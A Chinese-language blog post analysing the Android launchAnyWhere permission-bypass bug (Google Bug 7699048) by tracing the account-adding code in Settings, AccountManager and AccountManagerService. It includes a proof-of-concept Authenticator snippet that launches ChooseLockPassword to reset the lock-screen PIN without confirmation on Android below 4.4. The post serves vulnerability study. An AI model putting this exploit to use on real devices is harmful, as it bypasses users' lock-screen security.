android修复了添加账户代码中的2处bug,retme取了很酷炫的名字launchAnyWhere、broadAnywhere(参考资料1、2)。本文顺着前辈的思路学习bug的原理和利用思路。
我们先看下源码里setting中添加账户的代码,来理解bug产生的原理。
/packages/apps/Settings/src/com/android/settings/accounts/AddAccountSettings.java下oncreate:
public void onCreate(Bundle savedInstanceState) { ...... final Intent intent = new Intent(this, ChooseAccountActivity.class); if (accountTypes != null) { intent.putExtra(AccountPreferenceBase.ACCOUNT_TYPES_FILTER_KEY, accountTypes); } startActivityForResult(intent, CHOOSE_ACCOUNT_REQUEST); }
调用startActivityForResult去启动"添加账户"activity,ChooseAccountActivity选好账户后回调onActivityResult函数:
public void onActivityResult(int requestCode, int resultCode, Intent data) { ...... case CHOOSE_ACCOUNT_REQUEST: ....... // Go to account setup screen. finish() is called inside mCallback. addAccount(data.getStringExtra(EXTRA_SELECTED_ACCOUNT)); break;
ok,来到addAccount函数:
private void addAccount(String accountType) { ...... mPendingIntent = PendingIntent.getBroadcast(this, 0, new Intent(), 0); addAccountOptions.putParcelable(KEY_CALLER_IDENTITY, mPendingIntent); addAccountOptions.putBoolean(EXTRA_HAS_MULTIPLE_USERS, Utils.hasMultipleUsers(this)); AccountManager.get(this).addAccount( accountType, null, /* authTokenType */ null, /* requiredFeatures */ addAccountOptions, null, mCallback, null /* handler */); mAddAccountCalled = true; }
注意new Intent()这是broadAnywhere bug的成因,下面还会仔细分析。看源码发现AddAccountSettings.addAccount的还是由AccountManager.addAccount来实现的。/frameworks/base/core/java/android/accounts/AccountManager.java-addAccount:
public AccountManagerFuture<Bundle> addAccount(final String accountType, ......
if (addAccountOptions != null) {
optionsIn.putAll(addAccountOptions);
}
return new AmsTask(activity, handler, callback) {
public void doWork() throws RemoteException { mService.addAccount(mResponse, accountType, authTokenType, requiredFeatures, activity != null, optionsIn); } }.start();
粗看之下addAccount貌似卡住了,但看AmsTask的start函数源码你会发现此函数就是去调用doWork函数。故这里实质是去执行mService.addAccount(回归正道了),而mService就是AccountManagerService(这里不明白没关系,跟本文主题关系不大;先记住,我会另一篇解释下xxxManager、IxxxManager、IxxxManagerService之间的联系)。/frameworks/base/services/java/com/android/server/accounts/AccountManagerService.java—addAccount;
public void addAccount(final IAccountManagerResponse response, final String accountType, final String authTokenType, final String[] requiredFeatures, final boolean expectActivityLaunch, final Bundle optionsIn) { ....... final Bundle options = (optionsIn == null) ? new Bundle() : optionsIn; ...... try { new Session(accounts, response, accountType, expectActivityLaunch, true /* stripAuthTokenFromResult */) { @Override public void run() throws RemoteException { mAuthenticator.addAccount(this, mAccountType, authTokenType, requiredFeatures, options); } ......
由mAuthenticator去启动addAccount代码来添加账户;那mAuthenticator为何物(这里偏题下,参考资料6来学习下在android中如何添加自己的账户系统;其实直接看retme的launchAnyWhere poc学习更快),这里用retme poc的代码来分析就是Authenticator,他继承自AbstractAccountAuthenticator。Authenticator.addAccount:
public Bundle addAccount(AccountAuthenticatorResponse response, String accountType, String authTokenType, String[] requiredFeatures, Bundle options) { ...... Intent intent = new Intent(); // 重设锁屏pin intent.setComponent(new ComponentName( "com.android.settings", "com.android.settings.ChooseLockPassword")); intent.setAction(Intent.ACTION_RUN); intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); intent.putExtra("confirm_credentials",false); bundle.putParcelable(AccountManager.KEY_INTENT, intent); return bundle; }
Authenticator.addAccount返回Intent,由上面AmsTask中的内部类Response回调函数onResult来处理
private class Response extends IAccountManagerResponse.Stub { public void onResult(Bundle bundle) { Intent intent = bundle.getParcelable(KEY_INTENT); if (intent != null && mActivity != null) { // since the user provided an Activity we will silently start intents // that we see mActivity.startActivity(intent); // leave the Future running to wait for the real response to this request } .......
startActivity去启动上面Authenticator.addAccount传入的activity。此activity对于正常app来说就是登陆页面,所以在此会记录账号信息已添加到android账户中。总得来说addAccount的流程就是这样子
账户添加流程就分析到这里,我们来看下bug是如何产生的。首先简单的先看launchAnyWhere:上面app中返回一个intent,而在Response里直接startActivity,这会打开android系统中的任意activity(因为此时在setting进程中执行具有system权限,system可以打开任意activity不管有无exported)。这就是launchAnyWhere的原理,通过精心构造的app可以打开任意activity(上面的填出的poc代码是重设锁屏pin,即不需要验证之前的pin就可以重新设置新的pin)。谷歌的修复也很简单,检测startActivity中的activity签名和构造的app的签名是否相同(签名相同表示app有权限打开activity;具体看android4.4的代码,所以launchAnyWhere的影响是android4.4以下的机器。
参考资料:
1、launchAnyWhere: Activity组件权限绕过漏洞解析(Google Bug 7699048 )
2、broadAnywhere:Broadcast组件权限绕过漏洞(Bug: 17356824)
3、Android LaunchAnyWhere (Google Bug 7699048)漏洞详解及防御措施
4、Android BroadcastAnyWhere(Google Bug 17356824)漏洞详细分析
5、安卓Bug 17356824 BroadcastAnywhere漏洞分析
6、一步一步教你在 Android 里创建自己的账户系统(一)